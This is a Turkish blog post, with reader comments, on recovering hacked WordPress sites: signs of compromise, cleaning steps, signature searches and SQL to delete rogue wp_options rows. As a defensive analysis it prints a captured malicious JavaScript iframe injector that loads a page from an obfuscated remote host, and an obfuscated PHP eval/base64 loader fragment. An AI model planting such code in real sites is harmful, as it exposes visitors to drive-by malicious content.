WordPress web sitem hacklendi! Ne yapmalıyım?

Dünya üzerindeki web sitelerinin yaklaşık %14’ünde WordPress alt yapısı kullanıldığı söyleniyor. Ayrıca içerik yönetim sistemleri pazarında %54 gibi hatırı sayılır bir pazar payına da sahip WordPress. Hal böyle olunca da, WordPress, dünyadaki hacker saldırılarına yoğun olarak hedef oluyor maalesef. Ve her ne kadar WordPress ekibi güvenlik konusunda ellerinden gelenin en iyisini yapmaya çalışsa da, hackerlar faklı bir noktadan bir açık yakalamayı her seferinde başarabiliyorlar.

Ben hem güncemde hem de kişisel web sitemde yaklaşık 5 yıldır WordPress alt yapısını kullanıyorum. Son aylara kadar her şey sorunsuz gidiyordu. Yaklaşık 2 ay önce eski hosting şirketimden aldığım barındırma hizmetini sonlandırıp, çok doğru olduğunu düşündüğüm bir kararla, Amazon EC2‘ye geçiş yaptım.

Bu geçişten yaklaşık 2-3 hafta sonra, hem Google hem de Amazon tarafından, web sitelerimde “zararlı içerik” olduğu ile ilgili uyarıcı epostalar almaya başladım. Ancak bana iletilen sayfaları kontrol ettiğimde, Google’ın aksine ben herhangi bir zararlı kod ya da kod parçasına rastlayamadım. Amazon EC2 üzerinde Micro Instance kullandığım için, muhtemel bir network sorunu olabileceğini düşünerek (İlk zamanlarda çok ciddi performans sorunları yaşadım sitelerde, ancak WordPress + PHP performansını en üst seviyeye çıkartarak bu performans sorununu çözdüm. Bir başka makalemde de bu performans meseleleri hakkında yazacağım, merak etmeyin) bu uyarıları çok dikkate almadım. Ancak bir kaç hafta sonra, performans sorunlarını çözmüş olmama rağmen uyarılarda herhangi bir azalma olmayınca, tam tersine uyarıların adedi artmaya başlayınca, WordPress alt yapısı kullanan web sitelerimin hacklenmiş olduğunu düşünmeye başladım ve hemen araştırmalarımı derinleştirdim. Araştırmalarımın neticesinde gerçekten de web sitlerimin, WordPress alt yapısındaki açıklar nedeniyle hackenmiş olduğunu gördüm. Veri tabanında, “yönetici” yetkisine sahip bilinmeyen kullanıcılar, kendisini zaman zaman gösteren ve ortadan kaybolan kod parçacıkları ve aşağıdakine benzer çerçeveler içerisinde gizlenmiş web sitelerine yönlendirmeler buldum.

Çerçeve (iframe) kullanılarak zararlı içeriğin web sitesine yerleştirilmesi

Çerçeve içerisindeki HTML kodları

Bunun üzerine hemen kolları sıvadım ve sitelerimi temizlemeye giriştim. Oldukça uzun bir süreçten sonra nihayet sitelerimi temizlemeyi ve daha güvenli hale getirmeyi başarabildim. Günlere, hatta haftalara yayılan zorlu bir maratondu gerçekten. Benim gibi birçok arkadaşın da WordPress ile bu tarz sorunlar yaşayabileceğini/yaşadığını düşünerek bu yazıyı yazmaya ve paylaşımlarımı sizlere aktarmaya karar verdim.

WORPRESS ALT YAPISINI KULLANIYORUM, HACKLENDİĞİMİ NASIL ANLAYABİLİRİM?

WordPress alt yapısı ile oluşturduğunuz site ya da siteleriniz üzerinde aşağıdaki durumlar söz konusu ise,

  1. Google, web sitenizde zararlı bir içerik olduğunu raporluyorsa
  2. Web sitenizin herhangi bir bölümünde (genellikle alt bölümlerinde) size ait olmadığını düşündüğünüz bir içerik görünüyorsa
  3. Web sitenizin sayfaları çok geç açılıyorsa
  4. Sitenize ait dosyalarınızın içerisinde şüpheli dosyalar görüyorsanız  ve bu dosyaların ne işe yaradığını bilmiyorsanız

hacklenmiş olabileceğinizden şüphelenebilirsiniz.

WORDPRESS NASIL HACK’LENİR?

Öncelikle, hacklenmiş bir WordPress kurulumunu temizleyebilmemiz ve bu konuda başarılı olabilmemiz için yapılan işlemlerin detaylarını bilmemiz gerekiyor (bir nevi tersine mühendislik). WordPress saldırıları genellikle 3 farklı açık kullanılarak yapılmaya çalışılır:

  • Yetkili olmayan kullanıcıların, veri tabanı üzerinde değişiklik yapabilmesine olanak sağlayan güvenlik açıkları
  • Kullanılan plugin’lerde yer alan güvenlik açıkları
  • Plugin’ler tarafından veri tabanında oluşturulan güvenlik açıkları

Benim web sitlerimin hacklenmesine sebep olan şey, tamamen WordPress alt yapısının sebep olduğu, 1. kategoriye giren açıklardı. Yapılan şey şuydu, WordPress kodlarındaki açıklar kullanılarak, Sql-injection yapılmış ve yönetim panelinde “yönetici” yetkilerine sahip kullanıcılar oluşturulmuştu. Daha sonra ise bu kullanıcılar ile yönetim paneline giriş yapılarak, zararlı kod parçaları, tema ve plugin kodları içerisine eklenmişti.

NASIL TEMİZLENİR?

Temizlik işine başlamadan önce, hacklenmiş olsalar bile mevcut sitelerimizin güvenliğini sağlayabilmek çok önemlidir. Bunun öncesinde yapılacak her işlem, açık bir kapıdan evinizin içine akan kirli suyu kaplar ile dışarı çıkartmaya benzeyecektir. Temizlik işine başlamadan önce evimize kirli suyun girmesine neden olan durumu (açık kapı gibi.) ortadan kaldırmanız gerekir.

Her ne kadar uzman bir kişinin tüm güvenlik konularını tek tek ele alması gerekitiğini düşünsem de, WordPress kurulumunuzu kısa bir zamanda ve çok fazla teknik bilgiye ihtiyaç duymadan, büyük oranda güvenli hale getirebileceğiniz bir yol var; 3. parti plugin’lerden yararlanmak. Bu anlamda kullanabileceğiniz, çok iyi bir WordPress plugini var; Better WP Security. Bu plugin, WordPress web sitenizi çok fazla teknik bilgiye ihtiyaç duymadan daha güvenli hale getirmek konusunda faydalı olacaktır.

Temizliğe başlamadan önce birkaç kontrol ve ön hazırlık yapmanızda fayda var.

  • WordPress genel olarak çok güvenlidir ancak eski sürümlerini kullanmak ya da güvenlik açığı içeren eski sürüm bir tema ya da plugin kullanmak genellikle başınızı derde sokar. En güncel WordPress kurulumunu kullandığınızdan emin olun. Plugin ve temalar dahil olmak üzere gerekli tüm güncellemeleri yapın. Bu güvenlik riskinizi en aza düşürecektir.
  • Veri tabanınızda yetkili olmayan kullanıcıların olup olmadığını kontrol edin. Yetkili olmayan kullanıcılar varsa derhal veri tabanından bu kullanıcıları silin.
  • 3. parti bir plugin ile WordPress kurulumunuzu daha güvenli hale getirin. Teknik anlamda donanımınızın yeterli olduğunu düşünüyorsanız bu işi kendiniz yapın.
  • WordPress’in ilk kurulumu ile birlikte varsayılan yöneticiye ait kullanıcı adı “admin” ‘dir. Hemen bu kullanıcının kullanıcı adını değiştirin (bkz. Better WP Security).
  • Yine ilk kurulum ile gelen veri tabanı tablo ön eki “wp_” dir. Tablolarınıza ait bu ön eki de değiştirin (bkz. Better WP Security).

WordPress alt yapısında sahip web siteleri hacklenen insanlar için tavsiye edilen ilk şey genellikle şudur; Eski kurulumunuza ait yedeklerinizi alın, herşeyi silin ve yeni bir WordPress kurulumu yaparak eski yedeklerinizi bu kuruluma aktarın…Bunun nedeni de hacklenmiş bir WordPress kurulumunun temizlenmesinin gerçekten zorlu bir iş olmasıdır. Çünkü en ufak bir noktayı gözden kaçırmanız durumunda aynı şey yeniden başınıza gelecektir. Böyle bir durumda da herşeyi sil baştan yeniden kontrol etmeli ve yapmalısınız ki bu da gerçekten insanın canını sıkan bir durum olacaktır. Eğer çok fazla kaybedecek bir şeyiniz yoksa, benim de sizlere ilk tavsiyem bu yönde olacaktır. Mevcut kurulumuzu silin ve yeniden WordPress kurun!

WordPress kurulumuna çok farklı şekilde zararlı kodlar inject edilir ancak temelde olan şey aynıdır. Hacker’lar zararlı kodlarının antivirüs sistemleri tarafından bulunabilmesini zorlaştırmak için bu zararlı kodları şifrelerler. Bu şifreleme işlemi de çok farklı şekillerde yapılabildiğinden dolayı ortaya çok farklı sonuçlar çıkar. Örneğin kendi sunucum üzerindeki aşağıdaki farklı türdeki zararlı kodlara göz atalım.

Dosya sistemi içerisindeki zararlı PHP dosyaları. İlk bakışta bile bu dosyaların buraya ait olmadığı anlaşılıyor!

Zararlı kod içeren bir PHP dosyasının içeriği

Zararlı kod içeren bir başka PHP dosyasının içeriği

Dikkat ettiğiniz gibi her iki dosyanın içinde de dışarıdan bakıldığında anlaşılması zor, şifrelenmiş kodlar yer alıyor. İşte şifrelenmiş olarak dosyalarda yer alan bu kodlar şifreleri çözüldüğünde ise aşağıdakine benzer, zararlı JavaScript kodlarına dönüşürler ve bu JavaScript dosyaları da web sitenizin HTML kodları içerisine yerleştirilir ve sitenizi ziyaret eden kullanıcılar farkında olmadan bu kodları çalıştırmış olurlar.

AŞAĞIDAKİ KODLAR ZARARLIDIR, LÜTFEN BİLGİSAYARINIZDA ÇALIŞTIRMAYI DENEMEYİNİZ!

c1 = "lonly";
if (-1 == document.cookie.indexOf(c1)) {
    var a = new Date;
    a.setTime(a.getTime());
    c3 = 72E6;
    c2 = new Date(a.getTime() + c3);
    document.cookie = c1 + "=" + escape(c2.toGMTString()) + ";expires=" + c2.toGMTString() + ";path=/";
    var b = document.createElement("if" + "r" + "a" + "me"),
        c = Math.round(10 + 50 * Math.random()),
        d = Math.round(700 + 1300 * Math.random());
    b.style.width = Math.round(100 + 500 * Math.random());
    b.style.height = c;
    b.style.position = "absolute";
    b.style.left = -d;
    b.src = "http://" + wow.replace(/ea/g, "-").replace(/b3/g, "a").replace(/b2/g, "e").replace(/b1/g, ".") + "/rem2.html";
    onload = function () {
        document.body.appendChild(b)
    }
};

Mesela, bu JavaScript kodunun yaptığı şey, Şekil 1.deki gibi bir iframe kodunu HTML dokümanın son bölümüne eklemektir. İşte bizim de hacklenmiş bir WordPress kurulumunda öncelikli işimiz zararlı kod içeren, şifrelenmiş haldeki bu dosyaları bulmak olacaktır. Bunun için WordPress kurulumunuzu dosya sistemi üzerinden kontrol ederek, şüpheli dosyaları bulmaya çalışmalısınız. Özellikle bulunmaması gereken bir yerde yer alan PHP dosyaları hedefiniz olmalıdır (mesela …/wp-content/uploads/ klasörü altında yer alan PHP dosyaları).

Zararlı dosyaları bulduğunuzda tüm bu dosyaları dosya sisteminden temizlemelisiniz. Bu dosyaları aramak ve bulmak büyük zahmet gerektiren bir iştir. Ancak bu arama işlemini kolaylaştımak için işletim sisteminin size sunduğu özelliklerden faydalanabilirsiniz. Örneğin benim gibi Linux tabanlı bir işletim sistemi kullanıyorsanız, Terminal işinizi çok kolaylaştıracaktır.

Dosya sisteminde zararlı kod içeren dosyaların bulunması

Dosya sisteminde zararlı kod içeren dosyaların bulunması

Zararlı kod içeren dosyaları bulmak için öncelikle zararlı içeriğin ne olduğunu bulmalıyız demiştik. Örneğin, yukarıdaki örneklerin tümünde zararlı kodların bir kısmını kullanarak zararlı dosyaları bulmuşum (birisinde ‘FilesMan‘ kelimesini, diğerinde de ‘var wow=‘ kelimelerini kullanmışım). Bu tarz zararlı kod parçalarında tipik bir diğer anahtar kelime de ‘eval(base64_decode‘ şeklindedir (genellikle base64 ile zararlı kodlar şifrelendikleri için yine base64 ile çözülmeleri gerekecektir) ancak bazı durumlarda hacker’lar bu anahtar kelimeleri de, aşağıdaki gibi bulunamaz hale getirmeye çalışırlar.

< php $XZKsyG='as';$RqoaUO='e';$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';$joEDdb
='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY… (yine uzuuuuuuuuunca karakterler)

koda dikkatli bakarsanız yapılan şey yine ‘eval(base64_decode‘ şeklindedir ancak bu dolaylı bir yoldan yapılmıştır. Böyle durumlarda ise,”php \$[a-zA-Z]*=’as’;” bir arama yapmanızı tavsiye ediyorum sizlere.

Tüm zararlı dosyaları sorunsuz bir şekilde temizlediğimizden emin olduktan sonra veri tabanımızın güvenliğini sağlamaya geçebiliriz. Veri tabanınızdaki “wp_options” tablomuzda (WordPress tablo önekini değiştirdiğseniz, tablo ismi önekiniz_options şeklinde olacaktır) aşağıdaki benzer, süpheli kayıların olup olmadığını kontrol edin.

wp-options -> class_generic_support
wp-options -> widget_generic_support
wp-options -> wp_check_hash
wp-options -> rss_7988287cd8f4f531c6b94fbdbc4e1caf
wp-options -> rss_d77ee8bfba87fa91cd91469a5ba5abea
wp-options -> rss_552afe0001e673901a9f2caebdd3141d

Eğer böyle kayıtlar varsa aşağıdaki T-SQL kodları yardımıyla bu kayıtları silin.

DELETE FROM wp_options WHERE option_name = ‘class_generic_support’;
DELETE FROM wp_options WHERE option_name = ‘widget_generic_support’;
DELETE FROM wp_options WHERE option_name = ‘fwp’;
DELETE FROM wp_options WHERE option_name = ‘wp_check_hash’;
DELETE FROM wp_options WHERE option_name = ‘ftp_credentials’;
DELETE FROM wp_options WHERE option_name = ‘rss_7988287cd8f4f531c6b94fbdbc4e1caf’;
DELETE FROM wp_options WHERE option_name = ‘rss_d77ee8bfba87fa91cd91469a5ba5abea’;
DELETE FROM wp_options WHERE option_name = ‘rss_552afe0001e673901a9f2caebdd3141d’;

Umarım faydalı bir yazı olmuştur. Hadi geçmiş olsun….

, , , , , , ,

8 Responses to WordPress web sitem hacklendi! Ne yapmalıyım?

  1. sirvale 09 Eylül 2012 at 9:03 PM #

    bir sorun çıkmazsa bir kaç saat sonra Better WP Security hakkında makale yazacağım yazınızdan faydalanacağım kolay gelsin

    • Ahmet BÜTÜN 12 Eylül 2012 at 1:53 PM #

      Elbette faydalanabilirsin Murat, referans olarak makalaye ait bir link te koyarsan cok mutlu olurum.

  2. Ali 07 Aralık 2012 at 12:07 PM #

    Bazı sunucular wp-config.php dosyasını chmod 666 olarak oluşturyor. Bu konuda ingilizce araştırma yapıp makalene ekleyebilirsin.

  3. Erkut OZEN 10 Aralık 2014 at 2:14 PM #

    Öncelikle paylaşımınız için teşekkürler,
    Benim de bir sorunum var ama bir türlü üstesinden gelemiyorum. Uzunca bir süredir yayında olan wordpress tabanlı sitem ciddi bir saldırı aldı. Önce admin girişi dahi yapamadım. Sonrasında bu sorunu hallettim. Ancak 1000’e yakın içerik yerinde yeller esiyor. Bir takım pluginlerle alınmış yedeklerim ( backupwordpress v.s) var. veri tabanında duruyor görünüyor. Ancak bir türlü geri getiremedim. Belki son haline ulaşamayacağım ama umudum bir şeylerin eski haline dönebileceği şeklinde.
    Açıkca yardım istiyorum. Açıkçası birşeyler yapabilesem de teknik olarak çok eksiğim sizin önerinizle nasıl bir yol takip etmeliyim?
    teşekkürler kolaylıklar,

    • Ahmet BÜTÜN 19 Aralık 2014 at 10:07 AM #

      Erkut Bey tam olarak yapılan saldırı neydi sitenize? Teknik detayları paylaşmanız mümkün mü?

  4. Remy 01 Mayıs 2017 at 5:57 PM #

    Malesef benim sitem hacklenmiş ve içerikleri silip silmediğinden emin değilim birşey sormak istiyorum benim fazla detaylarla ilgili bilgim yok yazdıklarınızın yarısını ancak anladım merak ettiğim şu cpanelimden yedekleme yaparsam ve hack sorunum çözülürse bu yedeklemeyi geri kurduğumda acaba hackleyen kişinin bahsettiğiniz kodlamalarınıda yedeklemiş ve kurmuş olurmuyum? Bir sorumda şu şuan c panelde resim içeriği olan dosyalarım henüz boş degil bu demek oluyormuki yazılarım silinmemiş ve resimler duruyormudur?

    • Ahmet BÜTÜN 02 Haziran 2017 at 9:23 AM #

      Remy, öncelikle geçmiş olsun. Geç gelen cevabım için de kusura bakma lütfen.

      Hack sorununuzun yüzde yüz çözüldüğüne emin olduktan sonra (ki gerçekten zorlu bir iş, içerik büyüklüğüne göre zorluk seviyesi de artıyor maalesef) alacağınız yedeklerden gönül rahatlığı ile geri dönebilirsiniz. Ancak dediğim gibi, statik dosyalarınızın da temiz olduğundan yüzde yüz emin olmalısınız.

      2. sorunuzu tam olarak anlayamadım. Detay verirseniz yardımcı olmaya çalışırım.

Bir Cevap Yazın

Font Resize